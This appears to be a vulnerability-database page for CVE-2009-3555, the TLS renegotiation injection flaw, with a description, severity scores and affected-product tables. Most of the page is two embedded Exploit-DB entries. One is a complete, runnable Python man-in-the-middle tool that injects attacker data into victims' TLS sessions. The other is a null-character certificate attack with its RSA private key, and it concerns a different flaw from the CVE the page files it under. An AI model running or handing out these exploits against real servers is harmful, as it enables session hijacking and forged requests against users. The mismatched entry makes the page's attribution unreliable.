CVE-2009-3555

critical
Published 2009-11-09 ยท Modified 2024-02-22
CVSS v3
9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
10.0

Description

The TLS protocol, and the SSL protocol 3.0 and possibly earlier, as used in Microsoft Internet Information Services (IIS) 7.0, mod_ssl in the Apache HTTP Server 2.2.14 and earlier, OpenSSL before 0.9.8l, GnuTLS 2.8.5 and earlier, Mozilla Network Security Services (NSS) 3.12.4 and earlier, multiple Cisco products, and other products, does not properly associate renegotiation handshakes with an existing connection, which allows man-in-the-middle attackers to insert data into HTTPS sessions, and possibly other types of sessions protected by TLS or SSL, by sending an unauthenticated request that is processed retroactively by a server in a post-renegotiation context, related to a "plaintext injection" attack, aka the "Project Mogul" issue.

Predictions

Exploit likelihood
100%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-10071 remote multiple verified text ยท 8 KB
Dan Kaminsky ยท 2009-11-10

Mozilla NSS - NULL Character CA SSL Certificate Validation Security Bypass

text exploit Source: Exploit-DB
source: https://www.securityfocus.com/bid/35888/info

Mozilla Network Security Services (NSS) is prone to a security-bypass vulnerability because it fails to properly validate the domain name in a signed CA certificate, allowing attackers to substitute malicious SSL certificates for trusted ones.

The NSS library is used by a number of applications, including Mozilla Firefox, Thunderbird, and SeaMonkey.

Successfully exploiting this issue allows attackers to perform man-in-the-middle attacks or impersonate trusted servers, which will aid in further attacks.

NOTE (August 6, 2009): This BID had included a similar issue in Fetchmail, but that issue is now documented in BID 35951 (Fetchmail NULL Character CA SSL Certificate Validation Security Bypass Vulnerability).

Private-Key: (1024 bit)
modulus:
    00:cf:4d:17:42:00:8d:0c:41:95:31:8c:40:30:bc:
    5e:42:b6:28:09:75:2f:19:61:d9:ab:4d:ec:f3:44:
    c4:1c:01:95:6f:27:eb:70:07:98:4f:1e:05:d0:f3:
    6c:49:45:e6:de:48:7a:59:f0:c2:93:6a:37:9c:02:
    72:4f:bd:14:36:26:a1:70:97:d4:fe:4b:24:e8:cd:
    29:1e:61:1a:85:b0:6f:96:06:83:10:13:d6:89:9f:
    bd:07:67:f1:42:de:9b:63:67:8b:96:f9:06:ef:7c:
    93:4b:6a:f9:39:31:32:7f:98:59:ef:ce:91:be:05:
    ce:f0:82:33:d8:76:06:4c:9f
publicExponent: 65537 (0x10001)
privateExponent:
    00:8c:4f:3b:7c:ba:ee:bc:ea:ee:d6:58:7d:61:ff:
    3d:35:9e:21:3f:35:87:a9:80:67:59:e1:26:8e:09:
    6f:4b:1d:6f:4d:8b:11:7a:04:49:fc:d2:ef:50:dc:
    51:e0:ce:65:52:f2:6f:8d:cc:bd:86:15:90:8a:11:
    c5:d9:5e:ba:fc:2b:fc:e3:a0:cd:c8:f0:9a:05:76:
    06:82:07:a9:bd:14:cc:c7:7e:54:b9:32:5b:40:7a:
    35:0a:26:80:d7:30:98:d6:b7:71:d5:9d:f4:0d:f2:
    28:b5:a9:0c:2e:6d:78:19:86:a9:31:b0:a1:43:1c:
    57:2c:78:a9:42:b2:49:d8:71
prime1:
    00:ec:07:79:1d:e2:50:14:77:af:99:18:1b:14:d4:
    0c:25:0c:20:26:0d:dd:c7:75:0e:08:d3:77:72:ce:
    2d:57:80:9d:18:bb:60:7b:b2:62:4e:21:a1:e6:84:
    96:91:31:15:cc:5b:89:5b:5a:83:07:96:51:e4:d4:
    e6:3a:40:99:03
prime2:
    00:e0:d7:5a:07:0e:cc:a6:17:22:f8:ec:51:b1:7b:
    17:af:3a:87:7b:f1:e4:6d:40:48:28:d2:c0:9c:93:
    e0:f1:8f:79:07:8f:00:e0:49:1d:0e:8c:65:41:ba:
    c8:20:e2:ae:78:54:75:6b:f0:41:e5:d1:9c:2e:23:
    49:79:53:35:35
exponent1:
    15:17:15:db:75:bd:72:16:bf:ba:0e:4d:5d:2f:15:
    66:ba:0e:a5:57:d7:d9:5a:bc:46:4d:9e:fe:c3:2d:
    8a:04:14:05:81:b8:bd:54:d3:33:e8:0d:6f:6b:a9:
    88:8f:ba:42:e8:6a:fd:9e:b8:d6:94:b7:fc:9a:89:
    77:eb:0d:c1
exponent2:
    5c:5a:38:61:63:c3:cd:88:fd:55:6f:84:12:b9:73:
    be:06:f5:75:84:a3:05:f8:fc:6a:c0:3e:5b:52:26:
    78:32:2d:4d:5c:80:c8:9f:5f:6f:05:5d:e6:04:b9:
    85:40:76:d7:78:21:8f:07:6d:99:df:62:1e:55:62:
    2d:92:6e:ed
coefficient:
    00:c5:62:ea:ee:85:5c:eb:e6:07:12:58:a5:63:5a:
    8f:e3:b3:df:c5:1e:cc:01:cd:87:d4:12:3f:45:8e:
    a9:4c:83:51:31:5a:e5:8d:11:a1:e3:84:b8:b4:e1:
    12:33:eb:2d:4c:4e:8c:49:e2:0d:50:aa:ca:38:e3:
    e6:c2:29:86:17
Certificate Request:
    Data:
        Version: 0 (0x0)
        Subject: C=US, CN=*\x00thoughtcrime.noisebridge.net, ST=California, L=San Francisco, O=Noisebridge, OU=Moxie Marlinspike Fan Club
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (1024 bit)
                Modulus (1024 bit):
                    00:cf:4d:17:42:00:8d:0c:41:95:31:8c:40:30:bc:
                    5e:42:b6:28:09:75:2f:19:61:d9:ab:4d:ec:f3:44:
                    c4:1c:01:95:6f:27:eb:70:07:98:4f:1e:05:d0:f3:
                    6c:49:45:e6:de:48:7a:59:f0:c2:93:6a:37:9c:02:
                    72:4f:bd:14:36:26:a1:70:97:d4:fe:4b:24:e8:cd:
                    29:1e:61:1a:85:b0:6f:96:06:83:10:13:d6:89:9f:
                    bd:07:67:f1:42:de:9b:63:67:8b:96:f9:06:ef:7c:
                    93:4b:6a:f9:39:31:32:7f:98:59:ef:ce:91:be:05:
                    ce:f0:82:33:d8:76:06:4c:9f
                Exponent: 65537 (0x10001)
        Attributes:
            a0:00
    Signature Algorithm: md5WithRSAEncryption
        64:e6:b2:77:45:74:c3:dc:f6:3d:e7:73:7f:0f:fb:dd:d7:30:
        c3:0f:30:d5:52:2c:6b:41:ad:40:2b:4b:07:2a:de:80:69:d4:
        a7:0b:6f:ed:cc:62:e7:4d:e1:fc:1e:81:0d:94:b9:c8:9b:14:
        0a:10:d4:8e:f9:53:76:11:51:1d:c9:80:ca:15:e5:78:02:e1:
        d1:89:95:b5:4a:3f:e0:f7:f3:35:ad:1f:7d:85:5b:8c:f5:de:
        70:05:8f:4f:1d:cb:23:83:dd:63:b7:2f:1a:8c:a1:3c:67:d9:
        f9:fc:63:c0:dc:bb:72:56:13:f6:3d:db:8e:d5:dc:01:9a:20:
        a2:dc
-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQDPTRdCAI0MQZUxjEAwvF5CtigJdS8ZYdmrTezzRMQcAZVvJ+tw
B5hPHgXQ82xJRebeSHpZ8MKTajecAnJPvRQ2JqFwl9T+SyTozSkeYRqFsG+WBoMQ
E9aJn70HZ/FC3ptjZ4uW+QbvfJNLavk5MTJ/mFnvzpG+Bc7wgjPYdgZMnwIDAQAB
AoGBAIxPO3y67rzq7tZYfWH/PTWeIT81h6mAZ1nhJo4Jb0sdb02LEXoESfzS71Dc
UeDOZVLyb43MvYYVkIoRxdleuvwr/OOgzcjwmgV2BoIHqb0UzMd+VLkyW0B6NQom
gNcwmNa3cdWd9A3yKLWpDC5teBmGqTGwoUMcVyx4qUKySdhxAkEA7Ad5HeJQFHev
mRgbFNQMJQwgJg3dx3UOCNN3cs4tV4CdGLtge7JiTiGh5oSWkTEVzFuJW1qDB5ZR
5NTmOkCZAwJBAODXWgcOzKYXIvjsUbF7F686h3vx5G1ASCjSwJyT4PGPeQePAOBJ
HQ6MZUG6yCDirnhUdWvwQeXRnC4jSXlTNTUCQBUXFdt1vXIWv7oOTV0vFWa6DqVX
19lavEZNnv7DLYoEFAWBuL1U0zPoDW9rqYiPukLoav2euNaUt/yaiXfrDcECQFxa
OGFjw82I/VVvhBK5c74G9XWEowX4/GrAPltSJngyLU1cgMifX28FXeYEuYVAdtd4
IY8HbZnfYh5VYi2Sbu0CQQDFYuruhVzr5gcSWKVjWo/js9/FHswBzYfUEj9FjqlM
g1ExWuWNEaHjhLi04RIz6y1MToxJ4g1Qqso44+bCKYYX
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE REQUEST-----
MIIB3jCCAUcCADCBnjELMAkGA1UEBhMCVVMxJzAlBgNVBAMUHioAdGhvdWdodGNy
aW1lLm5vaXNlYnJpZGdlLm5ldDETMBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UE
BxMNU2FuIEZyYW5jaXNjbzEUMBIGA1UEChMLTm9pc2VicmlkZ2UxIzAhBgNVBAsT
Gk1veGllIE1hcmxpbnNwaWtlIEZhbiBDbHViMIGfMA0GCSqGSIb3DQEBAQUAA4GN
ADCBiQKBgQDPTRdCAI0MQZUxjEAwvF5CtigJdS8ZYdmrTezzRMQcAZVvJ+twB5hP
HgXQ82xJRebeSHpZ8MKTajecAnJPvRQ2JqFwl9T+SyTozSkeYRqFsG+WBoMQE9aJ
n70HZ/FC3ptjZ4uW+QbvfJNLavk5MTJ/mFnvzpG+Bc7wgjPYdgZMnwIDAQABoAAw
DQYJKoZIhvcNAQEEBQADgYEAZOayd0V0w9z2Pedzfw/73dcwww8w1VIsa0GtQCtL
ByregGnUpwtv7cxi503h/B6BDZS5yJsUChDUjvlTdhFRHcmAyhXleALh0YmVtUo/
4PfzNa0ffYVbjPXecAWPTx3LI4PdY7cvGoyhPGfZ+fxjwNy7clYT9j3bjtXcAZog
otw=
-----END CERTIFICATE REQUEST-----
-----BEGIN CERTIFICATE-----
MIIGTjCCBbegAwIBAgIDExefMA0GCSqGSIb3DQEBBQUAMIIBEjELMAkGA1UEBhMC
RVMxEjAQBgNVBAgTCUJhcmNlbG9uYTESMBAGA1UEBxMJQmFyY2Vsb25hMSkwJwYD
VQQKEyBJUFMgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgcy5sLjEuMCwGA1UEChQl
Z2VuZXJhbEBpcHNjYS5jb20gQy5JLkYuICBCLUI2MjIxMDY5NTEuMCwGA1UECxMl
aXBzQ0EgQ0xBU0VBMSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEuMCwGA1UEAxMl
aXBzQ0EgQ0xBU0VBMSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEgMB4GCSqGSIb3
DQEJARYRZ2VuZXJhbEBpcHNjYS5jb20wHhcNMDkwNzMwMDcxNDQyWhcNMTEwNzMw
MDcxNDQyWjCBnjELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAU
BgNVBAcTDVNhbiBGcmFuY2lzY28xFDASBgNVBAoTC05vaXNlYnJpZGdlMSMwIQYD
VQQLExpNb3hpZSBNYXJsaW5zcGlrZSBGYW4gQ2x1YjEnMCUGA1UEAxQeKgB0aG91
Z2h0Y3JpbWUubm9pc2VicmlkZ2UubmV0MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCB
iQKBgQDPTRdCAI0MQZUxjEAwvF5CtigJdS8ZYdmrTezzRMQcAZVvJ+twB5hPHgXQ
82xJRebeSHpZ8MKTajecAnJPvRQ2JqFwl9T+SyTozSkeYRqFsG+WBoMQE9aJn70H
Z/FC3ptjZ4uW+QbvfJNLavk5MTJ/mFnvzpG+Bc7wgjPYdgZMnwIDAQABo4IDITCC
Ax0wCQYDVR0TBAIwADARBglghkgBhvhCAQEEBAMCBkAwCwYDVR0PBAQDAgP4MBMG
A1UdJQQMMAoGCCsGAQUFBwMBMB0GA1UdDgQWBBStfpIwBXE+eXWUWtE3s5JqXon2
TzAfBgNVHSMEGDAWgBQOB2DUOckbW12QeyPI0jSdSppGOTAJBgNVHREEAjAAMBwG
A1UdEgQVMBOBEWdlbmVyYWxAaXBzY2EuY29tMHIGCWCGSAGG+EIBDQRlFmNPcmdh
bml6YXRpb24gSW5mb3JtYXRpb24gTk9UIFZBTElEQVRFRC4gQ0xBU0VBMSBTZXJ2
ZXIgQ2VydGlmaWNhdGUgaXNzdWVkIGJ5IGh0dHBzOi8vd3d3Lmlwc2NhLmNvbS8w
LwYJYIZIAYb4QgECBCIWIGh0dHBzOi8vd3d3Lmlwc2NhLmNvbS9pcHNjYTIwMDIv
MEMGCWCGSAGG+EIBBAQ2FjRodHRwczovL3d3dy5pcHNjYS5jb20vaXBzY2EyMDAy
L2lwc2NhMjAwMkNMQVNFQTEuY3JsMEYGCWCGSAGG+EIBAwQ5FjdodHRwczovL3d3
dy5pcHNjYS5jb20vaXBzY2EyMDAyL3Jldm9jYXRpb25DTEFTRUExLmh0bWw/MEMG
CWCGSAGG+EIBBwQ2FjRodHRwczovL3d3dy5pcHNjYS5jb20vaXBzY2EyMDAyL3Jl
bmV3YWxDTEFTRUExLmh0bWw/MEEGCWCGSAGG+EIBCAQ0FjJodHRwczovL3d3dy5p
cHNjYS5jb20vaXBzY2EyMDAyL3BvbGljeUNMQVNFQTEuaHRtbDCBgwYDVR0fBHww
ejA5oDegNYYzaHR0cDovL3d3dy5pcHNjYS5jb20vaXBzY2EyMDAyL2lwc2NhMjAw
MkNMQVNFQTEuY3JsMD2gO6A5hjdodHRwOi8vd3d3YmFjay5pcHNjYS5jb20vaXBz
Y2EyMDAyL2lwc2NhMjAwMkNMQVNFQTEuY3JsMDIGCCsGAQUFBwEBBCYwJDAiBggr
BgEFBQcwAYYWaHR0cDovL29jc3AuaXBzY2EuY29tLzANBgkqhkiG9w0BAQUFAAOB
gQAjzXaLBu+/+RP0vQ6WjW/Pxgm4WQYhecqZ2+7ZFbsUCMJPQ8XE2uv+rIteGnRF
Zr3hYb+dVlfUnethjPhazZW+/hU4FePqmlbTtmMe+zMLThiScyC8y3EW4L4BZYcp
p1drPlZIj2RmSgPQ99oToUk5O6t+LMg1N14ajr9TpM8yNQ==
-----END CERTIFICATE-----
EDB-10579 remote multiple verified python ยท 14 KB
RedTeam Pentesting ยท 2009-12-21

TLS - Renegotiation

python exploit Source: Exploit-DB
#!/usr/bin/env python

######################################
#                                    #
#  RedTeam Pentesting GmbH           #
#  kontakt@redteam-pentesting.de     #
#  http://www.redteam-pentesting.de  #
#                                    #
######################################

# PoC exploit for the TLS renegotiation vulnerability (CVE-2009-3555)

# License
# -------
# CC-BY-SA http://creativecommons.org/licenses/by-sa/3.0/

# Timeline
# --------
# 2009-12-21 initial public release

# Known Issues
# ------------
# Firefox: if it fails connecting to a TLS site too often, falls back to
#          issuing SSLv2 ClientHello only until browser is restarted
#
# wget:    attempts SSLv2 ClientHello by default

# References
# ----------
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555
# http://www.phonefactor.com/sslgap
# http://www.extendedsubset.com/
# http://www.g-sec.lu/practicaltls.pdf
# http://tools.ietf.org/html/draft-ietf-tls-renegotiation-01

import tlslite
import tlslite.api
import tlslite.messages
import tlslite.constants
import struct
import socket
import threading
import array
import sys
import optparse


if not hasattr(threading.Thread, 'name'):
    # emulate python 2.6 threading module for earlier versions
    threading.current_thread = threading.currentThread
    setattr(threading.Thread, 'name',
            property(threading.Thread.getName, threading.Thread.setName))

def forward(sock1, sock2):
    sock1.settimeout(1.0)
    while True:
        try:
            data = sock1.recv(4096)
            if not data:
                return
            sock2.send(data)
        except socket.error, ex_error:
            if ex_error[0] == 104: # Connection reset by peer
                return
        except socket.timeout, ex_timeout:
            pass


class MessageWrapper(object):
    def __init__(self, version = (3, 1), ssl2 = False):
        self.contentType = tlslite.messages.ContentType.handshake
        self.ssl2 = ssl2
        self.client_version = version

    def setType(self, type):
        self.contentType = type

    def addBytes(self, bytes):
        self.bytes = bytes

    def write(self, trial=False):
        if trial:
            raise Exception('Unsupported')
        return array.array('B', self.bytes)

def send_record(sock, msg_type, version_major, version_minor, record):
    msg = struct.pack('!BBBH', msg_type, version_major, version_minor, len(record))
    if type(record) != str:
        msg += record.tostring()
    else:
        msg += record
    sock.send(msg)

def send_encapsulated(sslsock, type, messagebytes, version = (3, 1)):
    msg = MessageWrapper(version)
    msg.addBytes(struct.unpack('B'*len(messagebytes), messagebytes))
    msg.setType(type)
    for dummy in sslsock._sendMsg(msg, True):
        pass

def decrypt_record(sslsock, type, recordbytes):
    for result in sslsock._decryptRecord(type, array.array('B', recordbytes)):
        pass
    return result

def recv_record(sock):
    try:
        header = sock.recv(5)
        if not header:
            return None, None, None, None
        msg_type, msg_version_major, msg_version_minor, msg_length = struct.unpack('!BBBH', header)
        record = ''
        while len(record) != msg_length:
            record += sock.recv(msg_length - len(record))
        return msg_type, msg_version_major, msg_version_minor, record
    except socket.error, ex:
        if ex[0] == 104: # Connection reset by peer
            return

def recv_clienthello(sock):
    header_bytes = []
    header_bytes.append(sock.recv(1))
    header_bytes[0] = struct.unpack('!B', header_bytes[0])[0]
    if header_bytes[0] & 0x80:
        # Version 2.0 Client "Record Layer"
        header_bytes.append(sock.recv(1))
        header_bytes[1] = struct.unpack('!B', header_bytes[1])[0]
        msg_length = (header_bytes[0] & 0x7f) << 8 | header_bytes[1]
        msg_version_major = 2
        msg_version_minor = 0
        msg_type = tlslite.constants.ContentType.handshake
        record = sock.recv(msg_length)
    else:
        header = sock.recv(4)
        msg_type = header_bytes[0]
        msg_version_major, msg_version_minor, msg_length = struct.unpack('!BBH', header)
        record = sock.recv(msg_length)

    return msg_type, msg_version_major, msg_version_minor, record

def send_hello_request(sock):
    sock.send("\x16"            # Record Layer: Handshake Message
             +"\x03\x01"        # Record Layer Version: TLS 1.0
             +"\x00\x04"        # Record Layer Length: 4
             +"\x00"            # Handshake Message Type: Hello Request
             +"\x00\x00\x00")   # Handshake Message Length: 0

def send_protocol_version_alert(sock):
    sock.send("\x15"            # Record Layer: Alert"
             +"\x03\x01"        # Record Layer Version: TLS 1.0
             +"\x00\x02"        # Record Layer Length: 2
             +"\x00"            # Alert Message: fatal
             +"\x46")           # Alert Message: protocol version


def handle_victim(victim, options, mitmcount):

    if options.one_shot and mitmcount != 0:
        print threading.current_thread().name, '--one-shot specified and initial connection already handled, forwarding only'
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            sock.connect(options.target)
            print threading.current_thread().name, 'Connected to target %s:%u' % options.target
        except socket.error, ex:
            print threading.current_thread().name, 'Couldn\'t connect to target %s:%u' % options.target
            print threading.current_thread().name, 'Error code %u, \'%s\'' % (ex[0], ex[1])
            sys.exit(1)

        t1 = threading.Thread(target=forward, args=(sock, victim))
        t1.start()

        t2 = threading.Thread(target=forward, args=(victim, sock))
        t2.start()

        t1.join()
        sock.close()

        t2.join()
        victim.close()
        return

    # obtain initial "client hello" message
    msg_type, msg_version_major, msg_version_minor, hello_msg = recv_clienthello(victim)
    if msg_version_major == 2:
        print threading.current_thread().name, "client sent SSLv2 client hello message, exiting thread"
        return

    tls_version = (msg_version_major, msg_version_minor)
    type, length, version_major, version_minor, random, session_id_length = struct.unpack('!B3sBB32sB', hello_msg[:39])
    resume_session = (session_id_length != 0)
    if resume_session:
        print threading.current_thread().name, "client attempting to resume session"

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect(options.target)
        print threading.current_thread().name, 'Connected to target %s:%u' % options.target
    except socket.error, ex:
        print threading.current_thread().name, 'Couldn\'t connect to target %s:%u' % options.target
        print threading.current_thread().name, 'Error code %u, \'%s\'' % (ex[0], ex[1])
        sys.exit(1)


    sslsock = tlslite.api.TLSConnection(sock)
    handshake_settings = tlslite.HandshakeSettings.HandshakeSettings()
    handshake_settings.minVersion = tls_version
    handshake_settings.maxVersion = tls_version
    sslsock.handshakeClientCert(settings = handshake_settings)

    # inject prefix
    sslsock.write(options.inject)
    print threading.current_thread().name, 'Injected %s' % repr(options.inject)

    # send original "client hello" message over the encrypted channel
    send_encapsulated(sslsock, 22, hello_msg, tls_version)

    # now receive serveral TLS messages from the server, decrypt them, and forward
    # them to the client, until the server sends "server hello done"
    # these messages include "server hello", "certificate", "server key exchange",
    # unless the client is trying to resume a previous session
    print threading.current_thread().name, "about to receive server handshake messages"
    server_handshake_done = False
    while not server_handshake_done:
        msg_type, msg_version_major, msg_version_minor, result = recv_record(sslsock.sock)
        if result:
            result = decrypt_record(sslsock, msg_type, result)
            send_record(victim, msg_type, msg_version_major, msg_version_minor, result)
            if result[0] == 0x0e: # server hello done - should terminate handshake
                server_handshake_done = True
            elif resume_session and msg_type == 0x14: # change cipher spec - probably irrelevant
                server_handshake_done = True
        else:
            print threading.current_thread().name, 'receive from server failed, exiting thread'
            return
    print threading.current_thread().name, "server handshake done"


    # now its the the client's turn to send some messages, e.g.
    # "client key exchange" and "change cipher spec"
    print threading.current_thread().name, "about to receive client handshake messages"
    handshake_finished = False
    while not handshake_finished:
        msg_type, msg_version_major, msg_version_minor, record = recv_record(victim)
        print threading.current_thread().name, msg_type
        send_encapsulated(sslsock, msg_type, record, tls_version)
        if msg_type == 0x14: # change cipher spec
            handshake_finished = True

    print threading.current_thread().name, "client handshake done"

    # message after "change cipher spec" must be sent in the "clear"
    msg_type, msg_version_major, msg_version_minor, record = recv_record(victim)
    send_record(sslsock.sock, msg_type, msg_version_major, msg_version_minor, record)

    # server should now send "change cipher spec" message, we decrypt and send that to the victim
    msg_type, msg_version_major, msg_version_minor, record = recv_record(sslsock.sock)
    result = decrypt_record(sslsock, msg_type, record)
    send_record(victim, msg_type, msg_version_major, msg_version_minor, result)

    # finalize handshake
    msg_type, msg_version_major, msg_version_minor, record = recv_record(sslsock.sock)
    if record:
        send_record(victim, msg_type, msg_version_major, msg_version_minor, record)
    else:
        sslsock.sock.close()
        victim.close()
        del sslsock
        return



    # the rest is just forwarding TLS records between both parties,
    # which we cannot interfere with anymore, apart from dropping server
    # responses
    if options.drop:
        sslsock.sock.close()
        del sslsock
    else:
        t1 = threading.Thread(target=forward, args=(sslsock.sock, victim))
        t1.start()

    t2 = threading.Thread(target=forward, args=(victim, sslsock.sock))
    t2.start()

    if not options.drop:
        t1.join()
        sslsock.sock.close()

    t2.join()
    victim.close()



if __name__ == "__main__":
    parser = optparse.OptionParser()
    parser.add_option('-l', '--listen', dest='listen_port', help='port to listen on', metavar='PORT', type='int', default=8443)
    parser.add_option('-b', '--bind', dest='bind_address', help='address to bind to', metavar='ADDRESS', default='0.0.0.0')
    parser.add_option('-t', '--target', dest='target', help='host and port to connect to', metavar='HOST:PORT' )
    parser.add_option('-i', '--inject', dest='inject', help='string to inject', metavar='DATA')
    parser.add_option('', '--inject-file', dest='inject_file', help='inject data from a file', metavar='FILE')
    parser.add_option('', '--inject-base64', dest='inject_base64', help='string to inject, base64-encoded', metavar='DATA')
    parser.add_option('-o', '--one-shot', dest='one_shot', action='store_true', help='only mitm the first connection attempt, forward all other connections')
    parser.add_option('-d', '--drop-responses', dest='drop', action="store_true", default=False, help='drop server responses after renegotiating')

    (options, args) = parser.parse_args()

    if len([i for i in (options.inject, options.inject_file, options.inject_base64) if i]) != 1:
        print 'Exactly one injection option must be specified'
        sys.exit(1)

    if options.inject_file:
        try:
            options.inject = open(options.inject_file, 'r').read()
        except IOError, ex:
            print ex
            sys.exit(1)

    if options.inject_base64:
        import base64
        try:
            options.inject = base64.decodestring(options.inject_base64)
        except base64.binascii.Error, ex:
            print 'Error decoding base64 data: %s' % ex
            sys.exit(1)


    if not options.listen_port or \
       not options.bind_address or \
       not options.target or \
       not options.inject:
        parser.print_help()
        sys.exit(1)

    target = options.target.split(':')
    if len(target)==2:
        try:
            target[1] = int(target[1])
        except ValueError:
            target[1] = None
    if len(target)!=2 or not target[0] or not target[1]:
        print 'Target \'%s\' not in format HOST:PORT' % options.target
        sys.exit(1)

    options.target = tuple(target)

    try:
        listensocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listensocket.bind((options.bind_address, options.listen_port))
        print 'Listening on %s:%u' % (options.bind_address, options.listen_port)
    except socket.error, ex:
        print 'Couldn\'t listen on %s:%u' % (options.bind_address, options.listen_port)
        print 'Error code %u, \'%s\'' % (ex[0], ex[1])
        sys.exit(1)

    listensocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    listensocket.listen(5)

    mitmcount = 0

    while True:
        try:
            victim, victimaddr = listensocket.accept()
            print 'New connection from %s:%u' % victimaddr

            threading.Thread(target=handle_victim, args=(victim, options, mitmcount)).start()
            mitmcount += 1

        except KeyboardInterrupt, ex:
            print '\nAborted by user, exiting...'
            listensocket.close()
            sys.exit(1)

OS impact

fedora Fedora Affected 4 releases
VersionStatusFixed in
14 Affected โ€”
13 Affected โ€”
12 Affected โ€”
11 Affected โ€”
ubuntu Ubuntu Affected 6 releases
VersionStatusFixed in
10.10 Affected โ€”
10.04 Affected โ€”
9.10 Affected โ€”
9.04 Affected โ€”
8.10 Affected โ€”
8.04 Affected โ€”
debian Debian Mixed 10 releases
VersionStatusFixed in
trixie Fixed 2.2.14-2
sid Fixed 2.2.14-2
forky Fixed 2.2.14-2
bullseye Fixed 2.2.14-2
bookworm Fixed 2.2.14-2
8.0 Affected โ€”
7.0 Affected โ€”
6.0 Affected โ€”
5.0 Affected โ€”
4.0 Affected โ€”

Package impact

EcosystemPackageVulnerableFixed
java Mavenorg.apache.tomcat:tomcat>=7.0.0,<7.0.107.0.10
java Mavenorg.apache.tomcat:tomcat>=6.0.0,<6.0.326.0.32
java Mavenorg.apache.tomcat:tomcat>=5.0.0,<5.5.335.5.33

Application impact

VendorProductVersionsFixed
apache apachehttp_server{"endIncluding":"2.2.14"}
gnugnutls{"endIncluding":"2.8.5"}
mozilla mozillanss{"endIncluding":"3.12.4"}
openssl opensslopenssl{"endIncluding":"0.9.8k"}
openssl opensslopenssl1.0
f5nginx{"startIncluding":"0.1.0","endIncluding":"0.8.22"}
nginx nginxnginx{"startIncluding":"0.1.0","endIncluding":"0.8.22"}

References

CWEs

CWE-295 CWE-300

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.